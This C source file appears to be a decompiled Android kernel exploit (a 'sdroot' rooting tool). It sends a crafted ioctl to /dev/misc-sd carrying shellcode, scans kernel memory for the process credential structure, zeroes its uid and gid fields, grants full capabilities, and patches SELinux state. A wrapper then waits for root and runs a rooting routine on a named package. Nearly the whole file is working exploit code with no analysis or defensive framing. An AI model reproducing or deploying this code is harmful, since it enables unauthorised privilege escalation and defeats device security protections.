#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/utsname.h>

#include "util.h"

//#define DEBUG 

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif


typedef enum __bool { false = 0, true = 1, } bool;
typedef unsigned int _DWORD;
typedef unsigned char _BYTE;
typedef unsigned int u4;

unsigned int _data_start[19] = {
    4044095936u,
    3852455984u,
    3852324864u,
    3800947201u,
    3852402736u,
    3851419648u,
    3852419104u,
    3778019124u,
    3785412608u,
    4043833792u,
    3852402712u,
    3851419648u,
    3852419084u,
    3778019124u,
    3902647280u,
    0u,
    0u,
    0u,
    0u
};
unsigned int victim_syscall; // weak
unsigned int victim_syscall_addr; // weak
unsigned int found_selinux_key; // weak
unsigned int sel_enforcing; // weak
unsigned int oabi_present; // weak
//unsigned int temp_stack; // weak
//unsigned int msdc_input[22];
unsigned int my_sgid; // weak
unsigned int my_tid; // weak
unsigned int my_euid; // weak
unsigned int my_ppid; // weak
unsigned int my_egid; // weak
unsigned int my_suid; // weak
unsigned int my_uid; // weak
unsigned int my_pid; // weak
unsigned int my_gid; // weak

typedef struct _temp_stack {
    unsigned int temp_stack; // weak
    unsigned int msdc_input[22];
} st_temp_stack;
st_temp_stack g_temp_stack;

signed int sub_91D0()
{
    unsigned int v0; // r1@1
    unsigned int v1; // r0@4
    signed int result; // r0@8
    int v3; // r1@11
    int i; // r12@11
    int v5; // t1@14
    int v6; // r2@14
    signed int v7; // r2@19
    int v8; // t1@21
    unsigned int v9; // r1@23
    int v10; // r2@26
    int v11; // r1@26
    bool v12; // zf@26
    signed int v13; // r1@29
    signed int v14; // r4@32
    int v15; // r12@34
    signed int v16; // r1@35
    int v17; // r4@37
    int v18; // r3@46
    unsigned int v19; // [sp+2Ch] [bp-24h]@1

    v0 = *(_DWORD *)((unsigned int)&v19 & 0xFFFFE000);
    v19 = (unsigned int)&v19 & 0xFFFFE000;
    if ( v0 > 0xC0000000
        || *(_DWORD *)(((unsigned int)&v19 & 0xFFFFE000) + 4) > 0xC0000000
        || *(_DWORD *)(((unsigned int)&v19 & 0xFFFFE000) + 8) > 0xC0000000
        || (v1 = *(_DWORD *)(((unsigned int)&v19 & 0xFFFFE000) + 0xC), v1 <= 0xBFFFFFFF)
        || *(_DWORD *)(((unsigned int)&v19 & 0xFFFFE000) + 0x10) <= 0xBFFFFFFF )
    {
        result = -1;
    }
    else if ( *(_DWORD *)v1 <= 0xC0000000 && *(_DWORD *)(v1 + 4) == ((unsigned int)&v19 & 0xFFFFE000) )
    {
        v3 = *(_DWORD *)(((unsigned int)&v19 & 0xFFFFE000) + 0xC);
        for ( i = 0; ; ++i )
        {
            v5 = *(_BYTE *)v3++;
            v6 = i + 1;
            if ( v5 == 112 && *(_BYTE *)(v6 + v1) == 118 && *(_BYTE *)(v3 + 1) == 82 && *(_BYTE *)(v3 + 2) == 95 )
                break;
            if ( v6 == 1024 )
                return -3;
        }
        if ( *(_DWORD *)(v1 + i - 8) <= 0xBFFFFFFF )
            return -3;
        v7 = 1;
        while ( 1 )
        {
            v8 = *(_DWORD *)v1;
            v1 += 4;
            ++v7;
            if ( v8 == my_tid && *(_DWORD *)v1 == my_pid )
            {
                v9 = *(_DWORD *)(v1 + 8);
                if ( *(_DWORD *)(v1 + 4) == v9 || v9 == *(_DWORD *)(v1 + 12) )
                    break;
            }
            if ( v7 == 257 )
                return -50;
        }
        if ( v9 <= 0xBFFFFFFF )
            return -50;
        v10 = *(_DWORD *)(v9 + i - 8);
        v11 = *(_DWORD *)(v10 + 12);
        v12 = v11 == 0x43736564;
        if ( v11 != 0x43736564 )
            v12 = v11 == 0x44656144;
        v13 = v12 != 0;
        if ( v13 )
            v14 = 16;
        else
            v14 = 4;
        v15 = *(_DWORD *)(v10 + v14);
        result = my_uid;
        if ( v13 )
            v16 = 4;
        else
            v16 = 1;
        v17 = v10 + v14;
        if ( v15 == my_uid )
        {
            result = my_gid;
            if ( *(_DWORD *)(v10 + 4 * (v16 + 1)) == my_gid )
            {
                result = my_suid;
                if ( *(_DWORD *)(v10 + 4 * (v16 + 2)) == my_suid )
                {
                    result = my_sgid;
                    if ( *(_DWORD *)(v10 + 4 * (v16 + 3)) == my_sgid )
                    {
                        result = my_euid;
                        if ( *(_DWORD *)(v10 + 4 * (v16 + 4)) == my_euid )
                        {
                            result = my_egid;
                            if ( *(_DWORD *)(v10 + 4 * (v16 + 5)) == my_egid )
                            {
                                *(_DWORD *)(v10 + 4 * (v16 + 2)) = 0;
                                *(_DWORD *)(v10 + 4 * (v16 + 1)) = 0;
                                *(_DWORD *)v17 = 0;
                                *(_DWORD *)(v10 + 4 * (v16 + 5)) = 0;
                                *(_DWORD *)(v10 + 4 * (v16 + 4)) = 0;
                                *(_DWORD *)(v10 + 4 * (v16 + 3)) = 0;
                                *(_DWORD *)(v10 + 4 * (v16 + 7)) = 0;
                                *(_DWORD *)(v10 + 4 * (v16 + 6)) = 0;
                                *(_DWORD *)(v10 + 4 * (v16 + 10)) = -1;
                                *(_DWORD *)(v10 + 4 * (v16 + 9)) = -1;
                                *(_DWORD *)(v10 + 4 * (v16 + 12)) = -1;
                                *(_DWORD *)(v10 + 4 * (v16 + 11)) = -1;
                                *(_DWORD *)(v10 + 4 * (v16 + 14)) = -1;
                                *(_DWORD *)(v10 + 4 * (v16 + 13)) = -1;
                                *(_DWORD *)(v10 + 4 * (v16 + 16)) = -1;
                                *(_DWORD *)(v10 + 4 * (v16 + 15)) = -1;
                                if ( sel_enforcing )
                                {
                                    result = 1u;
                                    v18 = *(_DWORD *)(v10 + 4 * (v16 + 4 * found_selinux_key + 17));
                                    *(_DWORD *)v18 = 1u;
                                    *(_DWORD *)(v18 + 4) = 1u;
                                }
                                else
                                {
                                    result = 1;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    else
    {
        result = -2;
    }
    return result;
}

//----- (0000954C) --------------------------------------------------------
int sub_954C(int a1)
{
    signed int result; // r0@4

    if ( (unsigned int)(*(_DWORD *)a1 - *(_DWORD *)(victim_syscall_addr - 0x364)) > 0x5F
        || (unsigned int)(*(_DWORD *)(a1 - 4) - a1) >= 0x2000
        || *(_BYTE *)(*(_DWORD *)a1 - 1) != 0xEB )
        result = -1;
    else
        result = 0;
    return result;
}

//----- (00009598) --------------------------------------------------------
int sub_9598(unsigned int a1, unsigned int a2)
{
    int v2; // r4@1
    unsigned int v3; // r5@1
    int result; // r0@5

    v2 = a1;
    v3 = a2;
    if ( a1 < a2 )
    {
        while ( sub_954C(v2) )
        {
            v2 += 4;
            if ( v3 <= v2 )
                goto LABEL_6;
        }
        result = v2;
    }
    else
    {
LABEL_6:
        result = 0;
    }
    return result;
}

//----- (000095E0) --------------------------------------------------------
int sub_95E0(int a1, int a2)
{
    int v2; // r3@1
    int result; // r0@1

    v2 = *(_DWORD *)a1;
    result = 0;
    *(_DWORD *)a2 = v2;
    return result;
}

//----- (000095F0) --------------------------------------------------------
int sub_95F0()
{
    int v0; // r4@1
    int v2; // [sp+4h] [bp-2Ch]@3
    int v3; // [sp+8h] [bp-28h]@1
    int v4; // [sp+Ch] [bp-24h]@1

    v3 = 0;
    v4 = 0;
    v0 = 0xC000A008;
    do
    {
        sub_95E0(v0, (int)&v2);
        if ( !v2 )
        {
            sub_95E0(v0 + 4, (int)&v4);
            if ( (unsigned int)(v4 + 0x3FFF8000) <= 0x20000000 )
            {
                sub_95E0(v4 + 4, (int)&v3);
                if ( v3 == v0 - 8 )
                    return v4;
            }
        }
        v0 += 0x2000;
    }
    while ( v0 != 0xC1008008 );
    return 0;
}
// 95F0: using guessed type int sub_95F0(void);

//----- (00009698) --------------------------------------------------------
int sub_9698(int a1, int a2, int a3)
{
    int v3; // r7@1
    unsigned int v4; // r8@1
    bool v5; // zf@4
    int v6; // r4@9
    signed int v7; // r5@9
    int v8; // r6@12
    int v9; // r4@16
    signed int result; // r0@18
    int v11; // [sp+0h] [bp-10h]@8
    int v12; // [sp+4h] [bp-Ch]@1
    int v13; // [sp+8h] [bp-8h]@1
    int v14; // [sp+Ch] [bp-4h]@1
    int v15; // [sp+10h] [bp+0h]@4
    int v16; // [sp+14h] [bp+4h]@3
    unsigned int v17; // [sp+18h] [bp+8h]@12
    unsigned int v18; // [sp+1Ch] [bp+Ch]@12

    v12 = a1;
    v13 = a2;
    v14 = a3;
    v3 = a1;
    v4 = 0;
    while ( 1 )
    {
        sub_95E0(v3, (int)&v16);
        if ( v16 == 0x70617773 )
        {
            sub_95E0(v3 + 4, (int)&v15);
            v5 = v15 == 0x726570;
            if ( v15 != 0x726570 )
                v5 = v15 == 0x2F726570;
            if ( v5 )
                break;
        }
        ++v4;
        v3 += 4;
        if ( v4 == 1000 )
            return -1;
    }
    v11 = 4 * v4;
    if ( v4 >= 0x3E8 )
        return -1;
    v16 = 0;
    v15 = 0;
    v6 = v12 + 64;
    v7 = 64;
    while ( 1 )
    {
        v8 = v6 + 4;
        sub_95E0(v6, (int)&v18);
        sub_95E0(v6 + 4, (int)&v17);
        if ( v18 > 0xC0007FFF && v17 > 0xC0007FFF )
        {
            sub_95E0(v6 + 12, (int)&v17);
            if ( v17 > 0xC0007FFF )
            {
                sub_95E0(v11 + v18 - v7, (int)&v16);
                if ( v16 == 0x74696E69 )
                {
                    sub_95E0(v18, (int)&v18);
                    v9 = v11 + v18 - v7;
                    sub_95E0(v9, (int)&v16);
                    sub_95E0(v9 + 4, (int)&v15);
                    if ( v16 == 0x7268746B && v15 == 0x64646165 )
                    {
                        result = 0;
                        *(_DWORD *)v13 = v11;
                        *(_DWORD *)v14 = v7;
                        return result;
                    }
                }
            }
        }
        v7 += 4;
        if ( v7 == 4000 )
            break;
        v6 = v8;
    }
    return -2;
}

//----- (00009868) --------------------------------------------------------
int sub_9868()
{
    int v0; // r4@1
    int result; // r0@2
    int v2; // r3@4
    int v3; // r1@5
    bool v4; // zf@5
    int v5; // [sp+0h] [bp-28h]@1
    int v6; // [sp+4h] [bp-24h]@1

    v5 = 0;
    v0 = sub_95F0();
    v6 = 0;
    if ( sub_9698(v0, (int)&v5, (int)&v6) < 0 || (v2 = *(_DWORD *)(v0 + v6 + 4) - v6, v0 == v2) )
    {
LABEL_2:
        result = 0;
    }
    else
    {
        while ( 1 )
        {
            v3 = *(_DWORD *)(v2 + v5 + 4);
            result = v2;
            v4 = v3 == 0x656D6974;
            if ( v3 == 0x656D6974 )
                v4 = *(_DWORD *)(v2 + v5) == 0x5F527670;
            if ( v4 )
                break;
            v2 = *(_DWORD *)(v2 + v6 + 4) - v6;
            if ( v0 == v2 )
                goto LABEL_2;
        }
    }
    return result;
}
// 95F0: using guessed type int sub_95F0(void);
// 9868: using guessed type int sub_9868(void);

//----- (00009904) --------------------------------------------------------
int search_stack()
{
    int result; // r0@1

    result = sub_9868();
    if ( result )
    {
        result = sub_9598(*(_DWORD *)(result + 4), *(_DWORD *)(result + 4) + 0x2000);
        if ( result )
            result -= 32;
    }
    return result;
}
// 9868: using guessed type int sub_9868(void);
// 9904: using guessed type int search_stack();

//----- (00009930) --------------------------------------------------------
int sub_9930(int result, void *src, int a3)
{
    int v3; // r4@1
    const void *v4; // r6@1
    int v5; // r5@2

    v3 = a3;
    v4 = src;
    if ( a3 )
    {
        v5 = result;
        do
        {
            memcpy((void *)v5, v4, 4u);
            --v3;
            v5 += 4;
        }
        while ( v3 );
    }
    return result;
}

//----- (00009964) --------------------------------------------------------
int sub_9964()
{
    int result; // r0@1
    int v1; // r7@1
    void *v2; // r0@2
    signed int v3; // r9@6
    void *v4; // r0@8
    void *v5; // r8@8
    unsigned int v6; // r3@9
    int v7; // [sp+0h] [bp-24Ch]@10
    //u4 a;
    //u4 dest[32]; // [sp+1h] [bp-24Bh]@10
    char dest[256] = {0};
    //u4 b;
    u4 v9; // [sp+214h] [bp-38h]@6
    int v10; // [sp+21Ch] [bp-30h]@5
    u4 src; // [sp+220h] [bp-2Ch]@1
    int v12; // [sp+224h] [bp-28h]@1

    src = 0;
    result = open("/dev/misc-sd", 0);
    v1 = result;
    if ( result == -1 )
        return result;
    v2 = malloc(0x4000u);
    v10 = 0;
    if ( !v2 )
        goto LABEL_7;
    v9 = &g_temp_stack.temp_stack;//(int)&temp_stack;
    _data_start[17] = (unsigned int)sub_91D0;
    _data_start[18] = (unsigned int)&v10;
    v3 = (unsigned int)((char *)v2 + 4095) & 0xFFFFF000;
    _data_start[16] = (unsigned int)search_stack;
    _data_start[15] = (unsigned int)&g_temp_stack.temp_stack;
    memcpy((void *)v3, _data_start, 0x4Cu);
    mprotect((void *)v3, 0x4Cu, 7);
    if ( !v3 )
        goto LABEL_7;
    v4 = malloc(0x4000u);
    v5 = v4;
    if ( v4 )
    {
        memset(v4, 255, 0x4000u);
        v6 = (unsigned int)((char *)v5 + 4095) & 0xFFFFF000;
        printff("[sub_9964]v6: %x\n", v6);
        *(_DWORD *)v9 = v6;
        if ( !v6 )
        {
LABEL_7:
            return -2;
        }
        src = v3;
        sub_9930(dest + 1, &src, 32);
        //memset4(dest + 1, &src, 32);
        g_temp_stack.msdc_input[4] = 0x81;
        g_temp_stack.msdc_input[6] = (u4)dest;
        g_temp_stack.msdc_input[0] = 7;
        ioctl(v1, 0, &g_temp_stack.msdc_input);
        close(v1);
        result = 0;
    }
    else
    {
        result = -2;
        *(_DWORD *)v9 = v5;
    }
    return result;
}
// 90C4: using guessed type int __fastcall _stack_chk_fail(_DWORD);
// 9904: using guessed type int search_stack();

u4 sub_9ED0(char *a1, u4 a2, u4 a3, u4 a4) {
    __asm __volatile (
        "STMFD   SP!, {R4,R5,LR}\n"
        "mov     r4, r3\n"
        "mov     r5, r3\n"
        "svc     0x9000C3\n"
        "LDMFD   SP!, {R4,R5,LR}\n"
        );
    return (u4)a1;
}

//----- (00009B3C) --------------------------------------------------------
//int main(int argc, char **argv)
int sdroot_101_main()
{
    int v2; // r0@1
    int v3; // r7@1
    ssize_t v4; // r8@2
    signed int v5; // r12@4
    unsigned int v6; // r12@6
    u4 v7; // r3@8
    int v8; // t1@8
    int v9; // r12@9
    int v10; // lr@9
    int v11; // r0@10
    int v12; // r6@12
    int v13; // r7@12
    signed int v14; // r8@15
    unsigned int v15; // r7@16
    int v16; // r0@24
    bool v17; // cf@24
    int v18; // r0@24
    __pid_t v19; // r0@28
    unsigned int v20; // r2@28
    int v21; // r3@28
    int v22; // r8@28
    int v23; // [sp+0h] [bp-B0h]@12
    int s[26]; // [sp+8h] [bp-A8h]@14
    int v25; // [sp+18h] [bp-98h]@21
    int pipedes[2]; // [sp+74h] [bp-3Ch]@27
    int fd; // [sp+78h] [bp-38h]@30
    int v28; // [sp+7Ch] [bp-34h]@1
    int buf[5]; // [sp+80h] [bp-30h]@2

    v28 = 0;
    v2 = open("/sys/fs/selinux/enforce", 0);
    v3 = v2;
    if ( v2 < 0 )
    {
        if ( !stat("/sys/fs/selinux", (struct stat *)&s) && (unsigned short)(v25 & 0xF000) == 0x4000 )
        {
            v5 = 1;
            v28 = 1;
            goto LABEL_6;
        }
    }
    else
    {
        memset(buf, 0, sizeof(buf));
        v4 = read(v2, &buf, 4u);
        close(v3);
        if ( v4 >= 0 && sscanf((const char *)&buf, "%d", &v28) != 1 )
        {
            v5 = 0;
LABEL_6:
            sel_enforcing = v5;
            getresuid(&my_uid, &my_euid, &my_suid);
            getresgid(&my_gid, &my_egid, &my_sgid);
            my_pid = getpid();
            my_tid = gettid();
            my_ppid = getppid();
            prctl(15, "pvR_timewQ", 0, 0, 0);
            printff("[main]entry\n");
            v6 = 0xFFFF0000;
            while ( 1 )
            {
                v8 = *(_DWORD *)v6;
                v6 += 4;
                v7 = v8;
                if ( (v8 & 0xFFFFF000) == 0xE59FF000 )
                    break;
                if ( v6 == 0xFFFF1000 )
                    goto LABEL_10;
            }
            printff("[main]v6: %x\n", v6);
            v9 = v6 - 4;
            v10 = (v7 & 0xFFF) + 8;
            if ( (unsigned int)(v10 + v9) < 0xFFFF1000 )
            {
                v12 = *(_DWORD *)(v10 + v9);
                v13 = v12 + 0x70;
                if ( prctl(21, 0, 0, 0, 0) >= 0 )
                    v13 = v12 + 136;
                v28 = 0;
                memset(s, 0, 0x68u);
                if ( bsd_signal(17, 1) == -1 )
                    goto LABEL_36;
                if ( pipe(pipedes) == -1 )
                    goto LABEL_36;
                v19 = fork();
                v22 = v19;
                if ( v19 == -1 )
                    goto LABEL_36;
                if ( !v19 )
                {
                    v28 = (u4)sub_9ED0("/proc/cpuinfo", s, 1, 0);
                    write(pipedes[1], &v28, 4u);
                    exit(v22);
                }
                read(pipedes[0], &v28, 4u);
                close(pipedes[0]);
                close(pipedes[1]);
                if ( v28 )
                {
LABEL_36:
                    v14 = 0;
                }
                else
                {
                    v13 += 24;
                    v14 = 4;
                    oabi_present = 1;
                }
                v15 = (v13 + 99) & 0xFFFFFFE0;
                if ( sel_enforcing )
                {
                    v16 = stat("/proc/key-users", (struct stat *)&s);
                    v17 = (unsigned int)v16 <= 1;
                    v18 = 1 - v16;
                    if ( !v17 )
                        v18 = 0;
                    found_selinux_key = v18;
                }
                victim_syscall = 271;
                victim_syscall_addr = v14 + 0x440 + v15;
                printff("[main]victim_syscall_addr: %x\n", victim_syscall_addr);
                sleep(1u);
                sub_9964();
                v11 = geteuid();
                if ( v11 )
                    v11 = 0;
            }
            else
            {
LABEL_10:
                v11 = 0;
            }
            exit(v11);
        }
    }
    v5 = v28;
    goto LABEL_6;

    return 0;
}


///////////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = 0, wait_time = 60, pid = 0;

#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	pid = fork();
	if(pid == 0) {
		printff("main: subprocess entry\n");
		sdroot_101_main();
		exit(0);
	}
	
	printff("main: main process goes on\n");
	while(getuid() != 0 && wait_time > 0) {
		sleep(1);
		wait_time -= 1;
	}
	ret = (getuid() == 0);
	if(ret) {
		do_root(argc, argv);
	}
	return ret? 0:1;
}
